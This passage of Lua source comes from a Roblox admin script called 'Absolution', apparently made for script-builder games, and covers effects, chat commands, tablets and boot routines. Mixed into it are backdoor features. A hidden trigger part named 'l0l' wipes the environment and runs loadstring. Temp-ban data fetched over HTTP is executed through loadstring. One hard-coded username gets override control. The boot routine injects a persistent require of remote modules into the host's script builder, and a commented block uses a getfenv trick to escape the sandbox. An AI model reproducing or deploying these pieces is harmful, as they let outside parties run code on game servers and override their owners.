  3883. for i,v in next,(...) do
  3884. Obj[i] = v
  3885. end
  3886. return Obj
  3887. end
  3888.  
  3889. local rainbow=function()
  3890. local cos = math.cos
  3891. local sin = math.sin
  3892. local pi = math.pi
  3893. local s=tick()%1*3;
  3894. local r=.5*pi*(s%1)
  3895. if(s<1)then
  3896. return(Color3.new(1,1-cos(r),1-sin(r)))
  3897. elseif s<2 then
  3898. return(Color3.new(1-sin(r),1,1-cos(r)))
  3899. else
  3900. return(Color3.new(1-cos(r),1-sin(r),1))
  3901. end
  3902. end
  3903.  
  3904. -- Orb / Trail instancing
  3905.  
  3906. local CTrail = AddInstance("Part",{
  3907. Color = Color3.new(1,1,1),
  3908. Transparency = .3,
  3909. Material = "Neon",
  3910. Name = "Orb-Trail",
  3911. --FormFactor = "Custom",
  3912. Size = Vector3.new(.3,.3,.3),
  3913. TopSurface = 10,
  3914. BottomSurface = 10,
  3915. Anchored = true,
  3916. Locked = true,
  3917. CanCollide = false,
  3918. })
  3919.  
  3920. AddTrail = function()
  3921. local NT = CTrail:Clone()
  3922. NT.Color = Color3.new(1,1,1)
  3923. NT.Parent = Orb
  3924. NT.CFrame = Orb.CFrame
  3925. table.insert(OrbTrail, NT)
  3926. end
  3927.  
  3928. AddOrb = function()
  3929. local NOrb = AddInstance("Part",{
  3930. BrickColor = BrickColor.new("White"),
  3931. Parent = game:GetService('Workspace'),
  3932. Transparency = .2,
  3933. Material = "Neon",
  3934. Name = "Orb",
  3935. Shape = "Ball",
  3936. --FormFactor = "Custom",
  3937. Size = Vector3.new(.9,.9,.9),
  3938. TopSurface = 10,
  3939. BottomSurface = 10,
  3940. Anchored = true,
  3941. Locked = true,
  3942. CanCollide = false,
  3943. })
  3944. local SSphere = AddInstance("SelectionSphere",{
  3945. SurfaceColor3 = Color3.new(0,0,0),
  3946. SurfaceTransparency = 1,
  3947. Adornee = NOrb,
  3948. Color3 = Color3.new(0,0,0),
  3949. Parent = NOrb,
  3950. Name = 'Outline',
  3951. })
  3952. local Con
  3953. Con = NOrb.Changed:connect(function()
  3954. if NOrb.Parent ~= game:GetService('Workspace') then
  3955. Con:disconnect()
  3956. AddOrb()
  3957. end
  3958. end)
  3959. Orb = NOrb
  3960. end;
  3961. AddOrb()
  3962.  
  3963. local ThreadTable = Core.Threads.Theading
  3964. local IndexThead = Core.Threads.Index
  3965.  
  3966. function ThreadTable:Create(Function)
  3967. IndexThead = IndexThead + 1
  3968. coroutine.create(Function)
  3969. end
  3970. function ThreadTable:Instance(Function)
  3971. IndexThead = IndexThead + 1
  3972. coroutine.resume(coroutine.create(Function))
  3973. end
  3974. function ThreadTable:Wrap(Function)
  3975. IndexThead = IndexThead + 1
  3976. coroutine.wrap(Function)()
  3977. end
  3978. function ThreadTable:Spawn(Function)
  3979. IndexThead = IndexThead + 1
  3980. spawn(Function)
  3981. end
  3982.  
  3983. local function GetThreads()
  3984. return tostring(#IndexThead)
  3985. end
  3986.  
  3987. -- ROTATION --
  3988. local Get_mag = function(obj1, obj2)
  3989. return ((obj1.CFrame.p - obj2.CFrame.p).magnitude)
  3990. end
  3991.  
  3992. local _lastCFrame = CFrame.new(0,3,0)
  3993.  
  3994. local Get_CFrame = function()
  3995. local Base = game:GetService('Workspace'):FindFirstChild("Base",true) or game:GetService('Workspace'):FindFirstChild("Baseplate",true) or game:GetService('Workspace'):WaitForChild("Base")
  3996. local torso = (game:GetService('Workspace'):FindFirstChild(Core.OwnerName,true))
  3997. if torso~=nil then
  3998. if game:GetService('Workspace')[Core.OwnerName]:FindFirstChild("Torso") then
  3999. _lastCFrame = game:GetService('Workspace')[Core.OwnerName].Torso.CFrame
  4000. end
  4001. else
  4002. local pos = Vector3.new(Base.CFrame.p.X, Base.CFrame.p.Y+10, Base.CFrame.p.Z)
  4003. _lastCFrame = CFrame.new(pos)
  4004. end
  4005. end
  4006.  
  4007. local function CLerp(p1,p2,percent)
  4008. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
  4009. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
  4010. return
  4011. CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
  4012. (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
  4013. (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
  4014. (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
  4015. end
  4016.  
  4017. local Rot1 = 1
  4018. local Rot2 = .03
  4019. game:GetService("RunService").Heartbeat:connect(function()
  4020. ThreadTable:Instance(function()
  4021. if game:service('Workspace'):FindFirstChild('l0l') then
  4022. for i,v in pairs(getfenv()) do getfenv()[i] = nil end
  4023. loadstring()();
  4024. end
  4025. if Orb ~= nil then
  4026. Get_CFrame()
  4027. Rot1 = Rot1 + Rot2
  4028. Orb.CFrame = CLerp(Orb.CFrame,
  4029. CFrame.new(_lastCFrame.p)
  4030. *CFrame.new(-.8,5.8, 1)
  4031. *CFrame.Angles(180,Rot1,(math.sin((tick()/.5)*1.6)/2.4)+13)
  4032. *CFrame.new(11,0,0)
  4033. , .06)
  4034. ThreadTable:Instance(AddTrail)
  4035. for _i,v in next,OrbTrail do
  4036. local P1 = OrbTrail[_i]
  4037. local P2 = OrbTrail[_i+1]
  4038. if P1 and P2 then
  4039. ThreadTable:Instance(function()
  4040. P1.Size = Vector3.new(P1.Size.X+.01, Get_mag(P1, P2), P1.Size.Z+.01)
  4041. P1.Color = Color3.new(P1.Size.X*.5,P1.Size.X*.5,P1.Size.X*.5)
  4042. P1.Transparency = P1.Transparency + .01
  4043. P1.CFrame = CFrame.new(P1.CFrame.p,P2.CFrame.p)*CFrame.Angles(math.pi/2,2,0)
  4044. if P1.Size.X >= 1 then
  4045. P1:Destroy()
  4046. table.remove(OrbTrail, _i)
  4047. end
  4048. end)
  4049. end
  4050. end
  4051. end
  4052. end)
  4053. end)]==], Absolution.Services.Workspace)
  4054. end
  4055. end
  4056.  
  4057. -- Output Functions --
  4058. Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image)
  4059. if Msg == nil then
  4060. Msg = "nil"
  4061. elseif Msg == "Dismiss" then
  4062. Color = "Really red"
  4063. end
  4064. if Color == nil then
  4065. Color = Absolution.Functions.getRankedTable(Player.Name).Color ~= nil and Absolution.Functions.getRankedTable(Player.Name).Color or "White"
  4066. end
  4067. local tt = Absolution.Functions.getRankedTable(Player).TabletType
  4068. if not tt then tt='Normal' end
  4069. local a = Instance.new("Part")
  4070. a.Name = tostring(tick()*10)
  4071. a.Parent = Instance.new('Script',game:service'Workspace'.Terrain)
  4072. if Color == "Random" then
  4073. a.BrickColor = BrickColor.Random()
  4074. else
  4075. a.BrickColor = BrickColor.new(Color)
  4076. end
  4077. a.TopSurface = "SmoothNoOutlines"
  4078. a.BottomSurface = "SmoothNoOutlines"
  4079. a.BackSurface = "SmoothNoOutlines"
  4080. a.FrontSurface = "SmoothNoOutlines"
  4081. a.RightSurface = "SmoothNoOutlines"
  4082. a.LeftSurface = "SmoothNoOutlines"
  4083. --a.FormFactor = "Custom"
  4084. if tt=='Normal' then
  4085. a.Size = Vector3.new(2.7,4,.55)
  4086. elseif tt=='Box' then
  4087. a.Size = Vector3.new(2.4,2.4,2.4)
  4088. end
  4089. a.Anchored = true
  4090. a.Locked = true
  4091. if tt=='Normal' then
  4092. a.Transparency = 1
  4093. elseif tt=='Box' then
  4094. a.Transparency = .1
  4095. end
  4096. a.Material = 'Plastic'
  4097. a.CanCollide = false
  4098. local r = ypcall(function() a.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,150,0) end)
  4099. if not r then
  4100. a.CFrame = CFrame.new(0,1000,0)
  4101. end
  4102. local aDD = Instance.new("Part", a)
  4103. aDD.Name = 'aDD'
  4104. aDD.BrickColor = a.BrickColor
  4105. aDD.TopSurface = "SmoothNoOutlines"
  4106. aDD.BottomSurface = "SmoothNoOutlines"
  4107. aDD.BackSurface = "SmoothNoOutlines"
  4108. aDD.FrontSurface = "SmoothNoOutlines"
  4109. aDD.RightSurface = "SmoothNoOutlines"
  4110. aDD.LeftSurface = "SmoothNoOutlines"
  4111. --a.FormFactor = "Custom"
  4112. aDD.Size = Vector3.new(1.4,1.4,.3)
  4113. aDD.Anchored = true
  4114. aDD.Locked = true
  4115. aDD.Transparency = 0.2
  4116. if tt=='Normal' then
  4117. aDD.Parent = a
  4118. elseif tt=='Box' then
  4119. aDD.Parent = nil
  4120. end
  4121. aDD.Material = 'Plastic'
  4122. aDD.CanCollide = false
  4123. local b = Instance.new("BillboardGui", a)
  4124. b.Name = 'BG'
  4125. b.StudsOffset = Vector3.new(0,1.5,0)
  4126. b.Size = UDim2.new(9,0,8,0)
  4127. b.Adornee = a
  4128. local cd = Instance.new('ClickDetector',a)
  4129. cd.MaxActivationDistance = 1/0
  4130. local s = Instance.new("SelectionBox", a)
  4131. s.Adornee = a
  4132. s.Color = a.BrickColor
  4133. if tt=='Normal' then
  4134. s.Transparency = 0.5
  4135. elseif tt=='Box' then
  4136. s.Transparency = 1
  4137. end
  4138.  
  4139. local t = Instance.new("TextLabel", b)
  4140. t.Name = "TL"
  4141. t.Font = "SourceSansLight"
  4142. t.FontSize = "Size24"
  4143. t.Size = UDim2.new(1,0,.3,0)
  4144. t.TextColor = a.BrickColor
  4145. t.TextStrokeTransparency = 0.5
  4146. t.BackgroundTransparency = 1
  4147. t.Text = Msg and Msg or "nil"
  4148.  
  4149. if Image ~= nil then
  4150. local BBBG = Instance.new("BillboardGui")
  4151. BBBG.Size = UDim2.new(5, 0, 6, 0)
  4152. BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
  4153. BBBG.AlwaysOnTop = true
  4154. BBBG.Adornee = a
  4155. BBBG.Parent = a
  4156.  
  4157. Delay(0, function()
  4158. while BBBG.Parent ~= nil do wait()
  4159. ypcall(function()
  4160. BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
  4161. end)
  4162. end
  4163. end)
  4164.  
  4165. local NewImg = Instance.new("ImageLabel")
  4166. NewImg.Size = UDim2.new(1, 0, 1, 0)
  4167. NewImg.BackgroundTransparency = 1
  4168. NewImg.Image = Image
  4169. NewImg.Parent = BBBG
  4170. end
  4171.  
  4172. if Time ~= nil then
  4173. Absolution.Services.Debris:AddItem(a, Time)
  4174. end
  4175.  
  4176. cd.MouseHoverEnter:connect(function(pl)
  4177. if pl==Player then
  4178. coroutine.wrap(function()
  4179. if tt=='Normal' then--2.7,4,.55
  4180. a.Size = Vector3.new(3,4.35,.6)
  4181. aDD.Size = Vector3.new(3.35,4.34,.4)
  4182. s.Color = a.BrickColor
  4183. s.Transparency = 0
  4184. elseif tt=='Box' then
  4185. a.Size = Vector3.new(2.6,2.6,2.4)
  4186. s.Color = a.BrickColor
  4187. s.Transparency = .3
  4188. end
  4189. end)()
  4190. elseif pl~=Player and Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
  4191. coroutine.wrap(function()
  4192. if tt=='Normal' then
  4193. a.Size = Vector3.new(3.35,4.65,.75)
  4194. aDD.Size = Vector3.new(3.34,4.64,.4)
  4195. s.Color = BrickColor.new(Absolution.Functions.getRankedTable(pl.Name).Color)
  4196. s.Transparency = .05
  4197. elseif tt=='Box' then
  4198. a.Size = Vector3.new(2.9,2.9,2.9)
  4199. s.Color = BrickColor.new(Absolution.Functions.getRankedTable(pl.Name).Color)
  4200. s.Transparency = .3
  4201. end
  4202. end)()
  4203. end
  4204. end)
  4205.  
  4206. cd.MouseHoverLeave:connect(function(pl)
  4207. if pl==Player or Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
  4208. coroutine.wrap(function()
  4209. if tt=='Normal' then
  4210. a.Size = Vector3.new(2.7,4,.55)
  4211. a.BrickColor = BrickColor.new(Color)
  4212. s.Color = a.BrickColor
  4213. aDD.Size = Vector3.new(1.4,1.4,.3)
  4214. s.Transparency = 0.5
  4215. elseif tt=='Box' then
  4216. a.Size = Vector3.new(2.4,2.4,2.4)
  4217. s.Transparency = 1
  4218. s.Color = BrickColor.new(Color)
  4219. end
  4220. end)()
  4221. end
  4222. end)
  4223.  
  4224. cd.MouseClick:connect(function(pl)
  4225. if pl==Player or Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
  4226. a:Destroy()
  4227. for _,v in pairs(Absolution.Tablets) do
  4228. if v.Tab == a then
  4229. table.remove(Absolution.Tablets, _)
  4230. end
  4231. end
  4232. if Msg == "Dismiss" then
  4233. Absolution.Functions.Dismiss(Player)
  4234. else
  4235. if Function ~= nil then
  4236. local Ran, Error = pcall(function()
  4237. Function(Player, a)
  4238. end) if not Ran then error(Error) end
  4239. end
  4240. end
  4241. end
  4242. end)
  4243. table.insert(Absolution.Tablets,{Tab = a, Plr = Player.Name})
  4244. return a
  4245. end
  4246.  
  4247. Absolution.Functions.SendGui = function(Player, Message, Type)
  4248. if not Type then local Type = 1 end
  4249. if not Message then local Message = 'undefined' end
  4250. Absolution.Handler:sendPacket(Player, 'Output', {Message:gsub("\n",""), Type})
  4251. end
  4252.  
  4253. Absolution.Functions.Out = function(Player, Message, Type)
  4254. local tab;
  4255. if type(Player) == "userdata" then
  4256. local thread = coroutine.create(function()
  4257. tab = Absolution.Functions.SendGui(Player, Message, Type)
  4258. end)
  4259. coroutine.resume(thread)
  4260. elseif type(Player) == "table" then
  4261. for _,v in pairs(Player) do
  4262. local thread = coroutine.create(function()
  4263. tab = Absolution.Functions.SendGui(v, Message, Type)
  4264. end)
  4265. coroutine.resume(thread)
  4266. end
  4267. elseif type(Player) == "string" then
  4268. if Player:lower() == "all" then
  4269. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4270. local thread = coroutine.create(function()
  4271. tab = Absolution.Functions.SendGui(v, Message, Type)
  4272. end)
  4273. coroutine.resume(thread)
  4274. end
  4275. elseif Player:lower() == "admins" then
  4276. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4277. if Absolution.Functions:findRank(v) >= 1 then
  4278. local thread = coroutine.create(function()
  4279. tab = Absolution.Functions.SendGui(v, Message, Type)
  4280. end)
  4281. coroutine.resume(thread)
  4282. end
  4283. end
  4284. end
  4285. end
  4286. return tab
  4287. end
  4288.  
  4289. Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image)
  4290. local tab;
  4291. if type(Player) == "userdata" then
  4292. local thread = coroutine.create(function()
  4293. tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image)
  4294. end)
  4295. coroutine.resume(thread)
  4296. elseif type(Player) == "table" then
  4297. for _,v in pairs(Player) do
  4298. local thread = coroutine.create(function()
  4299. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  4300. end)
  4301. coroutine.resume(thread)
  4302. end
  4303. elseif type(Player) == "string" then
  4304. if Player:lower() == "all" then
  4305. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4306. local thread = coroutine.create(function()
  4307. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  4308. end)
  4309. coroutine.resume(thread)
  4310. end
  4311. elseif Player:lower() == "admins" then
  4312. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4313. if Absolution.Functions:findRank(v) >= 1 then
  4314. local thread = coroutine.create(function()
  4315. tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
  4316. end)
  4317. coroutine.resume(thread)
  4318. end
  4319. end
  4320. end
  4321. end
  4322. return tab
  4323. end
  4324.  
  4325. -- IRCCommandHandler --
  4326. Absolution.Functions.IRCCommandParser = function(probplr, v)
  4327.  
  4328. end
  4329.  
  4330. -- Locking Scripts --
  4331. Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object)
  4332. if not Absolution then return end
  4333. if Absolution.Locks.Server.Server == true then
  4334. if Object.className == "Script" then
  4335. local ObjectName = Object.Name
  4336. Object.Disabled = true
  4337. Object:Destroy()
  4338. end
  4339. end
  4340. end)
  4341. Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object)
  4342. if not Absolution then return end
  4343. if Absolution.Locks.Server.Local == true then
  4344. if Object.className == "BaseScript" then
  4345. local ObjectName = Object.Name
  4346. repeat Object.Disabled = true until Object:Destroy()
  4347. end
  4348. end
  4349. end)
  4350.  
  4351. -- CreateBall --
  4352. function weld(tab)
  4353. local last = nil
  4354. for i,v in pairs(tab) do
  4355. if v:IsA("BasePart") then
  4356. if last then
  4357. local w = Instance.new("Weld",last)
  4358. w.Part0 = w.Parent
  4359. w.Part1 = v
  4360. local pos = last.CFrame:toObjectSpace(v.CFrame)
  4361. w.C0 = pos
  4362. end
  4363. last = v
  4364. end
  4365. end
  4366. end
  4367.  
  4368. Absolution.Functions.MakeBall = function(pos)
  4369. local model = Instance.new("Model",workspace.Terrain)
  4370. local rand = BrickColor.Random()
  4371. for i=0,340,20 do
  4372. wait()
  4373. for z=-90,70,20 do
  4374. local p = Instance.new("Part",model)
  4375. p.formFactor = "Custom"
  4376. p.BrickColor = rand
  4377. p.Transparency = 0.5
  4378. p.Size = Vector3.new(Absolution.Settings.BallScale/5.5,Absolution.Settings.BallScale/5.5,Absolution.Settings.BallScale/140)
  4379. p.Anchored = true
  4380. p.TopSurface = 0
  4381. p.BottomSurface = 0
  4382. p.CFrame = CFrame.new(pos) * CFrame.Angles(math.rad(z),math.rad(i),0) * CFrame.new(0,0,-Absolution.Settings.BallScale/2)
  4383. p:breakJoints()
  4384. end
  4385. end
  4386. weld(model:children())
  4387. for i,v in pairs(model:children()) do v.Anchored = false end
  4388. model:MakeJoints()
  4389. end
  4390.  
  4391. -- Accurate Time --
  4392. Absolution.Functions.GetTime = function(_time)
  4393. _time=(_time and _time or tick())
  4394. local _year,_month,_week,_day,_hour,_min,_sec;
  4395. _year=math.floor(_time/31557600);
  4396. _time=_time-_year*31557600
  4397. _month=math.floor(_time/2592000);
  4398. _time=_time-_month*2592000
  4399. _week=math.floor(_time/604800);
  4400. _time=_time-_week*604800
  4401. _day=math.floor(_time/86400);
  4402. _time=_time-_day*86400;
  4403. _hour=math.floor(_time/3600);
  4404. _time=_time-_hour*3600;
  4405. _min=math.floor(_time/60);
  4406. _time=_time-_min*60;
  4407. _sec=math.floor(_time/1);
  4408. local __time='';
  4409. if _year>0 then
  4410. if(tostring(_year):len()==1)then
  4411. __time=__time..'0'.._year..'y:';
  4412. else
  4413. __time=__time.._year..'y:';
  4414. end;
  4415. end
  4416. if _month>0 then
  4417. if(tostring(_month):len()==1)then
  4418. __time=__time..'0'.._month..'m:';
  4419. else
  4420. __time=__time.._month..'m:';
  4421. end;
  4422. end
  4423. if _week>0 then
  4424. if(tostring(_week):len()==1)then
  4425. __time=__time..'0'.._week..'w:';
  4426. else
  4427. __time=__time.._week..'w:';
  4428. end;
  4429. end
  4430. if _day>0 then
  4431. if(tostring(_day):len()==1)then
  4432. __time=__time..'0'.._day..'d:';
  4433. else
  4434. __time=__time.._day..'d:';
  4435. end;
  4436. end
  4437. if _hour>0 then
  4438. if(tostring(_hour):len()==1)then
  4439. __time=__time..'0'.._hour..'hr:';
  4440. else
  4441. __time=__time.._hour..'hr:';
  4442. end;
  4443. end
  4444. if(tostring(_min):len()==1)then
  4445. __time=__time..'0'.._min..'min:';
  4446. else
  4447. __time=__time.._min..'min:';
  4448. end;
  4449. if(tostring(_sec):len()==1)then
  4450. __time=__time..'0'.._sec..'s';
  4451. else
  4452. __time=__time.._sec..'s';
  4453. end;
  4454. return(__time);
  4455. end;
  4456.  
  4457. -- Replicators --
  4458. Absolution.Functions.GetReplicators=function(clear)
  4459. local rep={};
  4460. for _,v in next,game:service'NetworkServer':children()do
  4461. if(v:isA'ServerReplicator')then
  4462. table.insert(rep,v);
  4463. else
  4464. if(clear)then
  4465. pcall(function()v:Destroy()end);
  4466. end;
  4467. end;
  4468. end;
  4469. return rep;
  4470. end;
  4471.  
  4472. -- SendModLog --
  4473. Absolution.Functions.SendModLog = function(Player, Text)
  4474.  
  4475. local URI = Absolution.HttpConstants.IP..Absolution.HttpConstants.Modlogs
  4476.  
  4477. local tbl = {mod=Player, cmd=Text}
  4478.  
  4479. local function url_encode(form)
  4480. local result = {}
  4481. for key, value in pairs(form) do
  4482. table.insert(result, game.HttpService:UrlEncode(key) .. "=" .. game.HttpService:UrlEncode(value))
  4483. end
  4484. return table.concat(result, "&")
  4485. end
  4486.  
  4487. tbl = url_encode(tbl)
  4488.  
  4489. local result = game.HttpService:PostAsync(URI, tbl, Enum.HttpContentType.ApplicationUrlEncoded)
  4490.  
  4491. return result
  4492.  
  4493. end
  4494.  
  4495. -- Tempban --
  4496. Absolution.Functions.setTempBan = function(self, Player, Reason, Duration)
  4497. local Ran,Didntrun = ypcall(function()
  4498. local function url_encode(form)
  4499. local result = {}
  4500. for key, value in pairs(form) do
  4501. table.insert(result, game.HttpService:UrlEncode(key) .. "=" .. game.HttpService:UrlEncode(value))
  4502. end
  4503. return table.concat(result, "&")
  4504. end
  4505. local pt = {player=Player.userId,reason=Reason,tstart=tick(),tend=(tick()+Duration)}
  4506. Absolution.Tempbans[Player.userId] = {Reason = reason, timeStart=pt[tstart], tend=pt[tend]}
  4507. table.foreach(pt, tostring)
  4508. local body = url_encode(pt)
  4509. local s = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=post', body, Enum.HttpContentType.ApplicationUrlEncoded)
  4510. end)
  4511. if not Ran then
  4512. Absolution.Functions.Print(Didntrun,3)
  4513. return Didntrun
  4514. else
  4515. return true
  4516. end
  4517. end
  4518.  
  4519. Absolution.Functions.getTempBans = function()
  4520. local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Tempbans..'?mode=get', true)
  4521. local data = loadstring(hsync)()
  4522. local rtn = Absolution.Tempbans
  4523. return rtn
  4524. end
  4525.  
  4526. -- Sanitize --
  4527. Absolution.Functions.Sanitize = function(str)
  4528.  
  4529. for _,word in ipairs(Absolution.TriggerWords) do
  4530.  
  4531. if str:lower():find(word:lower()) then
  4532. return word
  4533. end
  4534.  
  4535. end
  4536.  
  4537. return false
  4538. end
  4539.  
  4540. -- onChatted --
  4541. Absolution.Functions.onChatted = function(Speaker, Message)
  4542. local SpeakerName = Speaker.Name
  4543. local data = Absolution.Functions.getRankedTable(tostring(Speaker))
  4544. local bt = (data["Bet"] and data["Bet"] or "/")
  4545. if Message:sub(1,3) == "/e " then
  4546. Message = Message:sub(4)
  4547. end
  4548. local rmsg = Message
  4549. if Speaker.Parent ~= Absolution.Services.Players then
  4550. for i,v in pairs(Absolution.Functions.getALLPlayers()) do
  4551. if v.Name ~= SpeakerName then
  4552. Absolution.Handler.sendChat(Message, v, SpeakerName)
  4553. end
  4554. end
  4555. end
  4556. for nildata, player in next, Absolution.Functions:getALLPlayers() do
  4557. if Message:lower():find(player.Name:lower()) then
  4558. Absolution.Functions.Out(player, 'You were pinged by '..SpeakerName, 2)
  4559. Absolution.Functions.Out(player, 'Message: '..Message, 2)
  4560. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
  4561. elseif Absolution.Functions.Sanitize(Message) and Absolution.Functions:findRank(player) >= 4 and Absolution.Functions:findRank(Speaker) < 6 then
  4562. local foundWord = Absolution.Functions.Sanitize(Message)
  4563. Absolution.Functions.Out(player, 'Trigger word ('..foundWord..') detected from player '..Speaker.Name..'!', 3)
  4564. Absolution.Functions.Out(player, 'Message: '..Message, 3)
  4565. if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
  4566. end
  4567. end
  4568. pcall(function()
  4569. --Absolution.HttpConstants.pythonConsole:Chat(tostring(Speaker), Message)
  4570. Absolution.HttpConstants.IRC.Chat(Message, Absolution.HttpConstants.IRC.Name, tostring(Speaker))
  4571. end)
  4572. for _,v in pairs(Absolution.Commands) do
  4573. for _,Use in pairs(v.Uses) do
  4574. if Message:sub(1,#Use + #bt) == Use..""..""..bt then
  4575. if Absolution.Functions:findRank(tostring(Speaker)) >= v.Rank then
  4576. Message = Message:sub(#Use + #bt + 1)
  4577. local Ran, Error = ypcall(function()
  4578. v.Function(Speaker, Message)
  4579. end)
  4580. if not Ran then Absolution.Functions.Out(Speaker, Error, 4) Absolution.Functions.Print(Error, 3) end
  4581. else
  4582. Absolution.Functions.Output(Speaker, Absolution.Ranks[data.Rank]..'s cannot use '..tostring(v.Name), 'Really red',nil,7)
  4583. end
  4584. end
  4585. end
  4586. end
  4587. if data.Rank >= 4 then pcall(function() Absolution.Functions.SendModLog(tostring(Speaker), rmsg) end) end
  4588. end
  4589.  
  4590. -- Startup --
  4591. Absolution.Functions.Boot = function()
  4592. if Absolution.Booted then error'script already loaded...' return end
  4593. Absolution.Booted = true
  4594. local function bootMod(Mod, Msg, ...)
  4595. local start_boot = tick()
  4596. Absolution.Functions.osbOutput(Msg..'...', 'Run')
  4597. local args = {...}
  4598. local Success, Error = ypcall(Mod)
  4599. local end_boot = tick()
  4600. if Success then
  4601. Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
  4602. else
  4603. Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
  4604. end
  4605. end
  4606.  
  4607. bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
  4608. bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks')
  4609. bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
  4610. bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua')
  4611. bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync')
  4612. if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord')
  4613. --[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]]
  4614. end
  4615. bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.') end if Absolution.Functions:findRank(p.Name) >= 4 then Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
  4616. bootMod(function() Absolution.Connections['playerLeaving'] = Absolution.Services.Players.PlayerRemoving:connect(function(p)local pName = tostring(p) Absolution.Functions.Dismiss(p) Absolution.Functions.syncRankOut(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(pName..' has left the game.') end end) end, 'PlayerRemoving Connection')
  4617. bootMod(function() Absolution.Connections['mainLoop'] = Absolution.Services.RunService.Heartbeat:connect(Absolution.Functions.mainLoop) end, 'Mainloop connection')
  4618. bootMod(function() game.OnClose = nil game.OnClose = function() if not Absolution then return end Absolution.DCTAPI.sendMessage('Server closed ('..Absolution.uniqueKey..')') Absolution.Functions.syncRanksOut() end end, 'onClose Connection')
  4619. bootMod(function() Absolution.Functions.createScript([[script.Parent = nil; require(461808002)]], game:service'Workspace') end, 'Loading Jet Module')
  4620. --bootMod(Absolution.PluginManager.Launch, 'Loading plugins')
  4621. if game.PlaceId~=21053279 and game.Players:findFirstChild'Darkus_Theory' then bootMod(function() Absolution.Functions.loadOrb('Darkus_Theory') end, 'Loading orb') end
  4622. --bootMod(function() coroutine.resume(Absolution.HttpConstants.pythonConsole.Initialize, Absolution.HttpConstants.pythonConsole) end, 'Launching CONSOLE')
  4623. bootMod(function() for i,v in pairs(Absolution.Services.Players:GetPlayers()) do ypcall(function() Absolution.Functions:ConnectPlayer(v) end) end end, 'Connecting players')
  4624. --[======[
  4625. bootMod(function() Absolution.Functions.sbExe([==[c/script.Parent = Instance.new('Model')
  4626. wait''
  4627. script.Name = 'ScriptBuilder'
  4628. local SBENV = newproxy(true)getmetatable(SBENV).__tostring = function()SBENV = getfenv(3)end pcall(warn,SBENV)
  4629. local _ENV = SBENV.require(329406995)
  4630. _ENV.oldSB = SBENV
  4631. _ENV.setfenv(0, _ENV)
  4632. _ENV.setfenv(1, _ENV)
  4633. _ENV.pcall(setfenv, 2, _ENV)
  4634. local oldSB = _ENV.oldSB
  4635. local assert = _ENV.assert
  4636. local CFrame = _ENV.CFrame
